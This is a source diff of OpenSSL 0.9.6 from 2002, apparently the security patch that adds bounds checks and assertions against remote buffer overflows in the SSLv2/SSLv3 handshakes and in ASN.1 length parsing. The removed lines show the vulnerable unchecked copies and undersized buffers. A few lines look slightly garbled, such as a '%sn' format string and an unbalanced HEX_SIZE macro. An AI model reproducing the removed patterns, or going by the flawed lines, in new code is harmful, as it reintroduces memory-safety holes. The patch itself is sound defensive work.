	 Patches
	 =======
	
	
	Index: CHANGES
	===================================================================
	RCS file: /e/openssl/cvs/openssl/CHANGES,v
	retrieving revision 1.618.2.158
	diff -u -r1.618.2.158 CHANGES
	--- CHANGES	2002/05/09 22:40:31	1.618.2.158
	+++ CHANGES	2002/07/30 09:14:15
	@@ -2,6 +2,35 @@
	  OpenSSL CHANGES
	  _______________
	
	+ Changes in security patch
	+
	+Changes marked "(CHATS)" were sponsored by the Defense Advanced
	+Research Projects Agency (DARPA) and Air Force Research Laboratory,
	+Air Force Materiel Command, USAF, under agreement number
	+F30602-01-2-0537.
	+
	+  *) Add various sanity checks to asn1_get_length() to reject
	+     the ASN1 length bytes if they exceed sizeof(long), will appear
	+     negative or the content length exceeds the length of the
	+     supplied buffer. (CAN-2002-0659)
	+     [Steve Henson, Adi Stav <stav@mercury.co.il>, James Yonan <jim@ntlp.com>]
	+
	+  *) Assertions for various potential buffer overflows, not known to
	+     happen in practice.
	+     [Ben Laurie (CHATS)]
	+
	+  *) Various temporary buffers to hold ASCII versions of integers were
	+     too small for 64 bit platforms. (CAN-2002-0655)
	+     [Matthew Byng-Maddick <mbm@aldigital.co.uk> and Ben Laurie (CHATS)>
	+
	+  *) Remote buffer overflow in SSL3 protocol - an attacker could
	+     supply an oversized session ID to a client. (CAN-2002-0656)
	+     [Ben Laurie (CHATS)]
	+
	+  *) Remote buffer overflow in SSL2 protocol - an attacker could
	+     supply an oversized client master key. (CAN-2002-0656)
	+     [Ben Laurie (CHATS)]
	+
	  Changes between 0.9.6c and 0.9.6d  [9 May 2002]
	
	   *) Fix crypto/asn1/a_sign.c so that 'parameters' is omitted (not
	Index: crypto/cryptlib.c
	===================================================================
	RCS file: /e/openssl/cvs/openssl/crypto/cryptlib.c,v
	retrieving revision 1.20.2.4
	diff -u -r1.20.2.4 cryptlib.c
	--- crypto/cryptlib.c	2001/11/23 20:57:59	1.20.2.4
	+++ crypto/cryptlib.c	2002/07/30 09:14:15
	@@ -491,3 +491,11 @@
	 #endif
	
	 #endif
	+
	+void OpenSSLDie(const char *file,int line,const char *assertion)
	+    {
	+    fprintf(stderr,"%s(%d): OpenSSL internal error, assertion failed: %sn",
	+	    file,line,assertion);
	+    abort();
	+    }
	+
	Index: crypto/cryptlib.h
	===================================================================
	RCS file: /e/openssl/cvs/openssl/crypto/cryptlib.h,v
	retrieving revision 1.8
	diff -u -r1.8 cryptlib.h
	--- crypto/cryptlib.h	2000/05/02 12:35:04	1.8
	+++ crypto/cryptlib.h	2002/07/30 09:14:16
	@@ -89,6 +89,14 @@
	 #define X509_CERT_DIR_EVP        "SSL_CERT_DIR"
	 #define X509_CERT_FILE_EVP       "SSL_CERT_FILE"
	
	+/* size of string represenations */
	+#define DECIMAL_SIZE(type)     ((sizeof(type)*8+2)/3+1)
	+#define HEX_SIZE(type)         ((sizeof(type)*2)
	+
	+/* die if we have to */
	+void OpenSSLDie(const char *file,int line,const char *assertion);
	+#define die(e)	((e) ? (void)0 : OpenSSLDie(__FILE__, __LINE__, #e))
	+
	 #ifdef  __cplusplus
	 }
	 #endif
	Index: crypto/asn1/asn1_lib.c
	===================================================================
	RCS file: /e/openssl/cvs/openssl/crypto/asn1/asn1_lib.c,v
	retrieving revision 1.19.2.1
	diff -u -r1.19.2.1 asn1_lib.c
	--- crypto/asn1/asn1_lib.c	2001/03/30 13:42:32	1.19.2.1
	+++ crypto/asn1/asn1_lib.c	2002/07/30 09:14:17
	@@ -124,15 +124,13 @@
	 		(int)(omax+ *pp));
	
	 #endif
	-#if 0
	-	if ((p+ *plength) > (omax+ *pp))
	+	if (*plength > (omax - (*pp - p)))
	 		{
	 		ASN1err(ASN1_F_ASN1_GET_OBJECT,ASN1_R_TOO_LONG);
	 		/* Set this so that even if things are not long enough
	 		 * the values are set correctly */
	 		ret|=0x80;
	 		}
	-#endif
	 	*pp=p;
	 	return(ret|inf);
	 err:
	@@ -159,6 +157,8 @@
	 		i= *p&0x7f;
	 		if (*(p++) & 0x80)
	 			{
	+			if (i > sizeof(long))
	+				return 0;
	 			if (max-- == 0) return(0);
	 			while (i-- > 0)
	 				{
	@@ -170,6 +170,8 @@
	 		else
	 			ret=i;
	 		}
	+	if (ret < 0)
	+		return 0;
	 	*pp=p;
	
	 	*rl=ret;
	 	return(1);
	@@ -407,7 +409,7 @@
	
	 void asn1_add_error(unsigned char *address, int offset)
	 	{
	-	char buf1[16],buf2[16];
	+	char buf1[DECIMAL_SIZE(address)+1],buf2[DECIMAL_SIZE(offset)+1];
	
	 	sprintf(buf1,"%lu",(unsigned long)address);
	 	sprintf(buf2,"%d",offset);
	Index: crypto/conf/conf_def.c
	===================================================================
	RCS file: /e/openssl/cvs/openssl/crypto/conf/conf_def.c,v
	retrieving revision 1.3
	diff -u -r1.3 conf_def.c
	--- crypto/conf/conf_def.c	2000/06/06 15:21:12	1.3
	+++ crypto/conf/conf_def.c	2002/07/30 09:14:18
	@@ -67,6 +67,7 @@
	 #include "conf_def.h"
	 #include <openssl/buffer.h>
	 #include <openssl/err.h>
	+#include "cryptlib.h"
	
	 static char *eat_ws(CONF *conf, char *p);
	 static char *eat_alpha_numeric(CONF *conf, char *p);
	@@ -180,12 +181,12 @@
	 static int def_load(CONF *conf, BIO *in, long *line)
	 	{
	 #define BUFSIZE	512
	-	char btmp[16];
	 	int bufnum=0,i,ii;
	 	BUF_MEM *buff=NULL;
	 	char *s,*p,*end;
	 	int again,n;
	 	long eline=0;
	+	char btmp[DECIMAL_SIZE(eline)+1];
	 	CONF_VALUE *v=NULL,*tv;
	 	CONF_VALUE *sv=NULL;
	 	char *section=NULL,*buf;
	Index: crypto/objects/obj_dat.c
	===================================================================
	RCS file: /e/openssl/cvs/openssl/crypto/objects/obj_dat.c,v
	retrieving revision 1.16.2.2
	diff -u -r1.16.2.2 obj_dat.c
	--- crypto/objects/obj_dat.c	2002/04/18 11:52:28	1.16.2.2
	+++ crypto/objects/obj_dat.c	2002/07/30 09:14:19
	@@ -428,7 +428,7 @@
	 	unsigned long l;
	 	unsigned char *p;
	 	const char *s;
	-	char tbuf[32];
	+	char tbuf[DECIMAL_SIZE(i)+DECIMAL_SIZE(l)+2];
	
	 	if (buf_len <= 0) return(0);
	
	Index: ssl/s2_clnt.c
	===================================================================
	RCS file: /e/openssl/cvs/openssl/ssl/s2_clnt.c,v
	retrieving revision 1.27.2.4
	diff -u -r1.27.2.4 s2_clnt.c
	--- ssl/s2_clnt.c	2001/11/10 10:43:51	1.27.2.4
	+++ ssl/s2_clnt.c	2002/07/30 09:14:25
	@@ -116,6 +116,7 @@
	 #include <openssl/buffer.h>
	 #include <openssl/objects.h>
	 #include <openssl/evp.h>
	+#include "cryptlib.h"
	
	 static SSL_METHOD *ssl2_get_client_method(int ver);
	 static int get_server_finished(SSL *s);
	@@ -517,6 +518,7 @@
	 		}
	
	 	s->s2->conn_id_length=s->s2->tmp.conn_id_length;
	+	die(s->s2->conn_id_length <= sizeof s->s2->conn_id);
	 	memcpy(s->s2->conn_id,p,s->s2->tmp.conn_id_length);
	 	return(1);
	 	}
	@@ -618,6 +620,7 @@
	 		/* make key_arg data */
	 		i=EVP_CIPHER_iv_length(c);
	 		sess->key_arg_length=i;
	+		die(i <= SSL_MAX_KEY_ARG_LENGTH);
	 		if (i > 0) RAND_pseudo_bytes(sess->key_arg,i);
	
	 		/* make a master key */
	@@ -625,6 +628,7 @@
	 		sess->master_key_length=i;
	 		if (i > 0)
	 			{
	+			die(i <= sizeof sess->master_key);
	 			if (RAND_bytes(sess->master_key,i) <= 0)
	 				{
	 				ssl2_return_error(s,SSL2_PE_UNDEFINED_ERROR);
	@@ -668,6 +672,7 @@
	 		d+=enc;
	 		karg=sess->key_arg_length;
	 		s2n(karg,p); /* key arg size */
	+		die(karg <= sizeof sess->key_arg);
	 		memcpy(d,sess->key_arg,(unsigned int)karg);
	 		d+=karg;
	
	@@ -688,6 +693,7 @@
	 		{
	 		p=(unsigned char *)s->init_buf->data;
	 		*(p++)=SSL2_MT_CLIENT_FINISHED;
	+		die(s->s2->conn_id_length <= sizeof s->s2->conn_id);
	 		memcpy(p,s->s2->conn_id,(unsigned int)s->s2->conn_id_length);
	
	 		s->state=SSL2_ST_SEND_CLIENT_FINISHED_B;
	@@ -944,6 +950,8 @@
	 		{
	 		if (!(s->options & SSL_OP_MICROSOFT_SESS_ID_BUG))
	 			{
	+			die(s->session->session_id_length
	+			    <= sizeof s->session->session_id);
	 			if (memcmp(buf,s->session->session_id,
	 				(unsigned int)s->session->session_id_length) != 0)
	 				{
	Index: ssl/s2_lib.c
	===================================================================
	RCS file: /e/openssl/cvs/openssl/ssl/s2_lib.c,v
	retrieving revision 1.29.2.2
	diff -u -r1.29.2.2 s2_lib.c
	--- ssl/s2_lib.c	2000/12/26 12:06:47	1.29.2.2
	+++ ssl/s2_lib.c	2002/07/30 09:14:25
	@@ -62,6 +62,7 @@
	 #include <openssl/rsa.h>
	 #include <openssl/objects.h>
	 #include <openssl/md5.h>
	+#include "cryptlib.h"
	
	 static long ssl2_default_timeout(void );
	 const char *ssl2_version_str="SSLv2" OPENSSL_VERSION_PTEXT;
	@@ -425,10 +426,14 @@
	 #endif
	
	 	km=s->s2->key_material;
	+ 	die(s->s2->key_material_length <= sizeof s->s2->key_material);
	 	for (i=0; i<s->s2->key_material_length; i+=MD5_DIGEST_LENGTH)
	 		{
	 		MD5_Init(&ctx);
	
	+ 		die(s->session->master_key_length >= 0
	+ 		    && s->session->master_key_length
	+ 		    < sizeof s->session->master_key);
	 		MD5_Update(&ctx,s->session->master_key,s->session->master_key_length);
	 		MD5_Update(&ctx,&c,1);
	 		c++;
	@@ -463,6 +468,7 @@
	 /*	state=s->rwstate;*/
	 	error=s->error;
	 	s->error=0;
	+	die(error >= 0 && error <= 3);
	 	i=ssl2_write(s,&(buf[3-error]),error);
	 /*	if (i == error) s->rwstate=state; */
	
	Index: ssl/s2_srvr.c
	===================================================================
	RCS file: /e/openssl/cvs/openssl/ssl/s2_srvr.c,v
	retrieving revision 1.25.2.5
	diff -u -r1.25.2.5 s2_srvr.c
	--- ssl/s2_srvr.c	2001/11/14 21:19:47	1.25.2.5
	+++ ssl/s2_srvr.c	2002/07/30 09:14:26
	@@ -116,6 +116,7 @@
	 #include <openssl/rand.h>
	 #include <openssl/objects.h>
	 #include <openssl/evp.h>
	+#include "cryptlib.h"
	
	 static SSL_METHOD *ssl2_get_server_method(int ver);
	 static int get_client_master_key(SSL *s);
	@@ -417,11 +418,18 @@
	 		n2s(p,i); s->s2->tmp.clear=i;
	 		n2s(p,i); s->s2->tmp.enc=i;
	 		n2s(p,i); s->session->key_arg_length=i;
	+		if(s->session->key_arg_length > SSL_MAX_KEY_ARG_LENGTH)
	+			{
	+			SSLerr(SSL_F_GET_CLIENT_MASTER_KEY,
	+				   SSL_R_KEY_ARG_TOO_LONG);
	+			return -1;
	+			}
	 		s->state=SSL2_ST_GET_CLIENT_MASTER_KEY_B;
	 		}
	
	 	/* SSL2_ST_GET_CLIENT_MASTER_KEY_B */
	 	p=(unsigned char *)s->init_buf->data;
	+	die(s->init_buf->length >= SSL2_MAX_RECORD_LENGTH_3_BYTE_HEADER);
	 	keya=s->session->key_arg_length;
	 	len = 10 + (unsigned long)s->s2->tmp.clear + (unsigned long)s->s2->tmp.enc + (unsigned long)keya;
	 	if (len > SSL2_MAX_RECORD_LENGTH_3_BYTE_HEADER)
	@@ -502,6 +510,7 @@
	 #endif
	
	 	if (is_export) i+=s->s2->tmp.clear;
	+	die(i <= SSL_MAX_MASTER_KEY_LENGTH);
	 	s->session->master_key_length=i;
	 	memcpy(s->session->master_key,p,(unsigned int)i);
	 	return(1);
	@@ -649,6 +658,7 @@
	 	p+=s->s2->tmp.session_id_length;
	
	 	/* challenge */
	+	die(s->s2->challenge_length <= sizeof s->s2->challenge);
	 	memcpy(s->s2->challenge,p,(unsigned int)s->s2->challenge_length);
	 	return(1);
	 mem_err:
	@@ -800,6 +810,7 @@
	 		}
	
	 	/* SSL2_ST_GET_CLIENT_FINISHED_B */
	+	die(s->s2->conn_id_length <= sizeof s->s2->conn_id);
	 	len = 1 + (unsigned long)s->s2->conn_id_length;
	 	n = (int)len - s->init_num;
	 	i = ssl2_read(s,(char *)&(p[s->init_num]),n);
	@@ -825,6 +836,7 @@
	 		{
	 		p=(unsigned char *)s->init_buf->data;
	 		*(p++)=SSL2_MT_SERVER_VERIFY;
	+		die(s->s2->challenge_length <= sizeof s->s2->challenge);
	 		memcpy(p,s->s2->challenge,(unsigned int)s->s2->challenge_length);
	 		/* p+=s->s2->challenge_length; */
	
	@@ -844,6 +856,8 @@
	 		p=(unsigned char *)s->init_buf->data;
	 		*(p++)=SSL2_MT_SERVER_FINISHED;
	
	+		die(s->session->session_id_length
	+		    <= sizeof s->session->session_id);
	 		memcpy(p,s->session->session_id,
	 			(unsigned int)s->session->session_id_length);
	 		/* p+=s->session->session_id_length; */
	Index: ssl/s3_clnt.c
	===================================================================
	RCS file: /e/openssl/cvs/openssl/ssl/s3_clnt.c,v
	retrieving revision 1.31.2.6
	diff -u -r1.31.2.6 s3_clnt.c
	--- ssl/s3_clnt.c	2002/01/14 23:42:35	1.31.2.6
	+++ ssl/s3_clnt.c	2002/07/30 09:14:27
	@@ -117,6 +117,7 @@
	 #include <openssl/sha.h>
	 #include <openssl/evp.h>
	 #include "ssl_locl.h"
	+#include "cryptlib.h"
	
	 static SSL_METHOD *ssl3_get_client_method(int ver);
	 static int ssl3_client_hello(SSL *s);
	@@ -545,6 +546,7 @@
	 		*(p++)=i;
	 		if (i != 0)
	 			{
	+			die(i <= sizeof s->session->session_id);
	 			memcpy(p,s->session->session_id,i);
	 			p+=i;
	 			}
	@@ -625,6 +627,14 @@
	
	 	/* get the session-id */
	 	j= *(p++);
	+
	+       if(j > sizeof s->session->session_id)
	+               {
	+               al=SSL_AD_ILLEGAL_PARAMETER;
	+               SSLerr(SSL_F_SSL3_GET_SERVER_HELLO,
	+                      SSL_R_SSL3_SESSION_ID_TOO_LONG);
	+               goto f_err;
	+               }
	
	 	if ((j != 0) && (j != SSL3_SESSION_ID_SIZE))
	 		{
	Index: ssl/s3_srvr.c
	===================================================================
	RCS file: /e/openssl/cvs/openssl/ssl/s3_srvr.c,v
	retrieving revision 1.49.2.14
	diff -u -r1.49.2.14 s3_srvr.c
	--- ssl/s3_srvr.c	2002/04/13 22:49:26	1.49.2.14
	+++ ssl/s3_srvr.c	2002/07/30 09:14:28
	@@ -122,6 +122,7 @@
	 #include <openssl/evp.h>
	 #include <openssl/x509.h>
	 #include "ssl_locl.h"
	+#include "cryptlib.h"
	
	 static SSL_METHOD *ssl3_get_server_method(int ver);
	 static int ssl3_get_client_hello(SSL *s);
	@@ -948,6 +949,7 @@
	 			s->session->session_id_length=0;
	
	 		sl=s->session->session_id_length;
	+		die(sl <= sizeof s->session->session_id);
	 		*(p++)=sl;
	 		memcpy(p,s->session->session_id,sl);
	 		p+=sl;
	Index: ssl/ssl.h
	===================================================================
	RCS file: /e/openssl/cvs/openssl/ssl/ssl.h,v
	retrieving revision 1.85.2.12
	diff -u -r1.85.2.12 ssl.h
	--- ssl/ssl.h	2002/01/14 23:42:42	1.85.2.12
	+++ ssl/ssl.h	2002/07/30 09:14:29
	@@ -1478,6 +1478,7 @@
	 #define SSL_R_INVALID_COMMAND				 280
	 #define SSL_R_INVALID_PURPOSE				 278
	 #define SSL_R_INVALID_TRUST				 279
	+#define SSL_R_KEY_ARG_TOO_LONG				 1112
	 #define SSL_R_LENGTH_MISMATCH				 159
	 #define SSL_R_LENGTH_TOO_SHORT				 160
	 #define SSL_R_LIBRARY_BUG				 274
	@@ -1546,6 +1547,7 @@
	 #define SSL_R_SHORT_READ				 219
	 #define SSL_R_SIGNATURE_FOR_NON_SIGNING_CERTIFICATE	 220
	 #define SSL_R_SSL23_DOING_SESSION_ID_REUSE		 221
	+#define SSL_R_SSL3_SESSION_ID_TOO_LONG			 1113
	 #define SSL_R_SSL3_SESSION_ID_TOO_SHORT			 222
	 #define SSL_R_SSLV3_ALERT_BAD_CERTIFICATE		 1042
	 #define SSL_R_SSLV3_ALERT_BAD_RECORD_MAC		 1020
	Index: ssl/ssl_asn1.c
	===================================================================
	RCS file: /e/openssl/cvs/openssl/ssl/ssl_asn1.c,v
	retrieving revision 1.8
	diff -u -r1.8 ssl_asn1.c
	--- ssl/ssl_asn1.c	2000/06/01 22:19:19	1.8
	+++ ssl/ssl_asn1.c	2002/07/30 09:14:29
	@@ -62,6 +62,7 @@
	 #include <openssl/objects.h>
	 #include <openssl/x509.h>
	 #include "ssl_locl.h"
	+#include "cryptlib.h"
	
	 typedef struct ssl_session_asn1_st
	 	{
	@@ -275,6 +276,7 @@
	 		os.length=i;
	
	 	ret->session_id_length=os.length;
	+	die(os.length <= sizeof ret->session_id);
	 	memcpy(ret->session_id,os.data,os.length);
	
	 	M_ASN1_D2I_get(osp,d2i_ASN1_OCTET_STRING);
	Index: ssl/ssl_err.c
	===================================================================
	RCS file: /e/openssl/cvs/openssl/ssl/ssl_err.c,v
	retrieving revision 1.28.2.6
	diff -u -r1.28.2.6 ssl_err.c
	--- ssl/ssl_err.c	2001/11/10 01:15:29	1.28.2.6
	+++ ssl/ssl_err.c	2002/07/30 09:14:30
	@@ -1,6 +1,6 @@
	 /* ssl/ssl_err.c */
	 /* ====================================================================
	- * Copyright (c) 1999 The OpenSSL Project.  All rights reserved.
	+ * Copyright (c) 1999-2002 The OpenSSL Project.  All rights reserved.
	  *
	  * Redistribution and use in source and binary forms, with or without
	  * modification, are permitted provided that the following conditions
	@@ -275,6 +275,7 @@
	 {SSL_R_INVALID_COMMAND                   ,"invalid command"},
	 {SSL_R_INVALID_PURPOSE                   ,"invalid purpose"},
	 {SSL_R_INVALID_TRUST                     ,"invalid trust"},
	+{SSL_R_KEY_ARG_TOO_LONG                  ,"key arg too long"},
	 {SSL_R_LENGTH_MISMATCH                   ,"length mismatch"},
	 {SSL_R_LENGTH_TOO_SHORT                  ,"length too short"},
	 {SSL_R_LIBRARY_BUG                       ,"library bug"},
	@@ -343,6 +344,7 @@
	 {SSL_R_SHORT_READ                        ,"short read"},
	 {SSL_R_SIGNATURE_FOR_NON_SIGNING_CERTIFICATE,"signature for non signing certificate"},
	 {SSL_R_SSL23_DOING_SESSION_ID_REUSE      ,"ssl23 doing session id reuse"},
	+{SSL_R_SSL3_SESSION_ID_TOO_LONG          ,"ssl3 session id too long"},
	 {SSL_R_SSL3_SESSION_ID_TOO_SHORT         ,"ssl3 session id too short"},
	 {SSL_R_SSLV3_ALERT_BAD_CERTIFICATE       ,"sslv3 alert bad certificate"},
	 {SSL_R_SSLV3_ALERT_BAD_RECORD_MAC        ,"sslv3 alert bad record mac"},
	Index: ssl/ssl_sess.c
	===================================================================
	RCS file: /e/openssl/cvs/openssl/ssl/ssl_sess.c,v
	retrieving revision 1.30.2.2
	diff -u -r1.30.2.2 ssl_sess.c
	--- ssl/ssl_sess.c	2002/02/10 12:52:57	1.30.2.2
	+++ ssl/ssl_sess.c	2002/07/30 09:14:30
	@@ -60,6 +60,7 @@
	 #include <openssl/lhash.h>
	 #include <openssl/rand.h>
	 #include "ssl_locl.h"
	+#include "cryptlib.h"
	
	 static void SSL_SESSION_list_remove(SSL_CTX *ctx, SSL_SESSION *s);
	 static void SSL_SESSION_list_add(SSL_CTX *ctx,SSL_SESSION *s);
	@@ -199,6 +200,7 @@
	 		ss->session_id_length=0;
	 		}
	
	+	die(s->sid_ctx_length <= sizeof ss->sid_ctx);
	 	memcpy(ss->sid_ctx,s->sid_ctx,s->sid_ctx_length);
	 	ss->sid_ctx_length=s->sid_ctx_length;
	 	s->session=ss;